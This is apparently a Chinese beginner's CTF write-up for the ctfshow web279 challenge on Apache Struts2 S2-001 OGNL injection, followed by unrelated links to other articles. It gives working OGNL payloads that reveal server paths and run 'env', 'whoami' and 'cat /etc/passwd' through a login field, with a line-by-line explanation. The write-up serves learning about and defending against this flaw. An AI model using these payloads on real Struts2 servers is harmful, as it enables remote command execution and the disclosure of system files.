web279(s2-001)

news2024/7/4 5:58:35

目前java小白一个,主要是学学别人的思路

进入题目,登录框一个

抓包也没发现什么东西

网上说是struts2框架

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

判断是不是基于struts2的一些方法:

1.通过页面回显的错误消息来判断,页面不回显错误消息时则无效

2.通过网页后缀来判断,如.do .action,有可能不准

        2.1如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的

        2.2如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json

3.判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true

回到前面的网站标题s2-001

Vulhub漏洞系列:struts2漏洞 S2-001 - FreeBuf网络安全行业门户

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

在登录框假如%{1+1}会返回2

看看paylaod

// 获取tomcat路径

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中

password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

或者工具

struts2scan

分析

%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值

#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用

$主要是在Struts 2配置文件中,引用OGNL表达式

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}


%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}

 解释

  1. 首先,使用了 Struts2 的 OGNL(Object-Graph Navigation Language)表达式语言来执行以下操作:

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start()

该代码创建了一个新的进程,并执行了一个命令,即 cat /etc/passwd。cat 命令用于查看文件内容,而 /etc/passwd 是一个包含系统用户信息的文件。

  • 接着,通过以下代码获取命令输出的输入流:

#b=#a.getInputStream()

  • 使用以下代码将输入流读取为字符流:

#c=new java.io.InputStreamReader(#b)

  • 创建一个缓冲字符读取器来读取字符流:

#d=new java.io.BufferedReader(#c)

  • 创建一个字符数组来存储读取到的字符:

#e=new char[50000]

  • 使用以下代码将字符读取到字符数组中:

#d.read(#e)

  • 通过以下代码获取当前请求的 HttpServletResponse 对象:

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")

  • 最后,以下代码将字符数组转换为字符串,并将其输出到 HttpServletResponse 的输出流中:

#f.getWriter().println(new java.lang.String(#e))

#f.getWriter().flush()

#f.getWriter().close()

参考:

CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现_debug=command&expression表达式注入漏洞如何修复-CSDN博客

 目前也就是见识见识,胡言乱语记录了一下,以后懂得多了回来补充补充

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1306492.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python从入门到精通八:Python文件操作

文件的编码 思考:计算机只能识别:0和1,那么我们丰富的文本文件是如何被计算机识别,并存储在硬盘中呢? 答案:使用编码技术(密码本)将内容翻译成0和1存入。 编码技术即:…

十九)Stable Diffusion使用教程:ai室内设计案例

今天我们聊聊如何通过SD进行室内设计装修。 基础起手式: 选择常用算法,抽卡: 这里要安装一个插件,latent couple(潜变量成对): 安装地址如下: GitHub - ashen-sensored/stable-diff…

Java调用百度翻译API和调用有道翻译API进行翻译

目录 界面编写 调用百度API 调用有道API 源代码 界面编写 我们首先需要设计出这个翻译程序的GUI界面,我们写一个类继承自JFrame类,用来展示程序的主窗口,设置好窗口的名称和大小,设置在关闭窗口时终止程序,为了界…

【UE】在蓝图中修改材质实例的参数的两种方式

目录 方式一、通过“在材质上设置标量/向量参数值”节点实现 方式二、通过“设置标量/向量参数值”节点实现 方式一、通过“在材质上设置标量/向量参数值”节点实现 1. 在材质中设置了两个参数 2. 创建材质实例 3. 创建一个蓝图,对静态网格体赋予材质实例 在事件…

C++ Qt开发:RadioButton单选框分组组件

Qt 是一个跨平台C图形界面开发库,利用Qt可以快速开发跨平台窗体应用程序,在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置,实现图形化开发极大的方便了开发效率,本章将重点介绍QRadioButton单选框组件以及与之交互的QButto…

数字人直播软件源码大比拼:哪种才更适合无人直播需求?

随着现代技术的不断发展,数字人直播软件源码越来越受到商家和短视频用户的关注。数字人直播软件通过虚拟形象和人工智能技术,让商家可以用数字人主播与消费者进行互动和沟通做到无人直播带货的方式,给人们带来了全新的娱乐体验。很多创业者也…

GeoTrust OV证书

当谈到网站安全性和可信度时,GeoTrust OV证书是一个备受推崇的选择。作为一家备受尊敬的数字证书颁发机构,GeoTrust以其卓越的品牌声誉和高质量的产品而闻名于世。GeoTrust OV证书提供了一系列的安全功能,同时还具有出色的性价比,…

数据中心到底是如何工作的?

数字时代的数据中心,就如同网络世界的心脏,它的鼓动关系到整个网络生态的运转。但这个复杂而庞大的数据枢纽背后隐藏着怎样的精密机制,是许多人颇感好奇的谜。 数字时代的数据中心,就如同网络世界的心脏,它的鼓动关系…

『C++成长记』拷贝构造函数

🔥博客主页:小王又困了 📚系列专栏:C 🌟人之为学,不日近则日退 ❤️感谢大家点赞👍收藏⭐评论✍️ 目录 一、拷贝构造函数 📒1.1拷贝构造函数的概念 📒1.2拷贝构造…

SAP 散装物料简介

散装物料(Bulk Material),也叫做间接物料(Indirect Material),是一般企业在库存管理时常见的一种物料形式。散装物料专指那些价值小、消耗量大、消耗率高的物料件。这些物料组件同样服务于企业的生产活动,并且在企业的工作中心中被生产活动直接消耗(如螺丝钉、润滑油、…

使用飞书自定义机器人发送消息

使用飞书机器人可以很方便的获取自动化任务的反馈: 在群里创建一个机器人: 记住下面的 webhook地址,这个是标识机器人的唯一ID,比如它的webhook地址是:"https://open.feishu.cn/open-apis/bot/v2/hook/xxxxxxx-a…

方案分享:如何做好云中的DDoS防御?

所有企业都会有遭受DDoS攻击的风险。由于目前DDoS即服务(DaaS)的售价低廉,因此对于恶意攻击者来说,发起攻击比以往任何时候都更加容易,技术门槛也更低。分析公司IDC一项关于DDoS防御的调查显示,超过50%的IT…

python自动化测试实战 —— 自动化测试框架的实例

软件测试专栏 感兴趣可看:软件测试专栏 自动化测试学习部分源码 python自动化测试相关知识: 【如何学习Python自动化测试】—— 自动化测试环境搭建 【如何学习python自动化测试】—— 浏览器驱动的安装 以及 如何更…

混频原理与频谱搬移

文章目录 混频器频谱搬移何为镜像频率信号的复混频参考 混频器 混频器是一个三端器件,两个输入一个输出,输出信号等于输入信号的乘积。所以混频器可以将两个不同频率的信号通过相乘的方式,从而产生原本两个频率和与差的新信号。 数学推导举…

vue文件下载请求blob文件流token失效的问题

页面停留很久token失效没有刷新页面,这时候点击下载依然可以导出文件,但是文件打不开且接口实际上返回的是401,这是因为文件下载的方式通过window创建a标签的形式打开的,并没有判断token失效问题 const res await this.$axios.…

Unity | Shader基础知识(第一集:unity中最简单的shader)

一、unity的shader unity写的shader并不是真正意义上的shader。 简单解释:真正的shader语言写起来还是麻烦的,unity希望大家写起来简单一点,于是在原来的基础上,给大家优化了一个语言,叫shaderLab,所以我…

PyTorch深度学习实战(25)——自编码器

PyTorch深度学习实战(25)——自编码器 0. 前言1. 自编码器2. 使用 PyTorch 实现自编码器小结系列链接 0. 前言 自编码器 (Autoencoder) 是一种无监督学习的神经网络模型,用于数据的特征提取和降维,它由一个编码器 (Encoder) 和一…

智慧燃气让城市能源系统高效运行

关键词:智慧燃气、燃气数字化、智慧燃气平台、智慧燃气解决方案、智慧燃气系统 随着我国城镇燃气行业的发展,燃气行业管理及服务从简单的手工运作阶段迈入数字燃气阶段,大量采用信息化手段管理燃气业务,智慧燃气应运而生。它既是…

互动时代的新趋势

数字人直播是指通过数字化技术将虚拟人物以真实的方式呈现在观众面前,并实现与观众的实时互动的一种新型娱乐形式。近年来,随着科技的发展和社交媒体的兴起,数字人直播越来越受到人们的关注,并成为当今互动时代的新趋势。 首先&a…

centos7x 安装支持gpu驱动的docker

1、卸载以前版本的驱动 sudo /usr/bin/nvidia-uninstall2、先安装基础项 yum install kernel kernel-devel gcc make -yyum install kernel kernel-devel gcc gcc-c make -y 3、禁用驱动源 nouveau echo "blacklist nouveau " >>/etc/modp…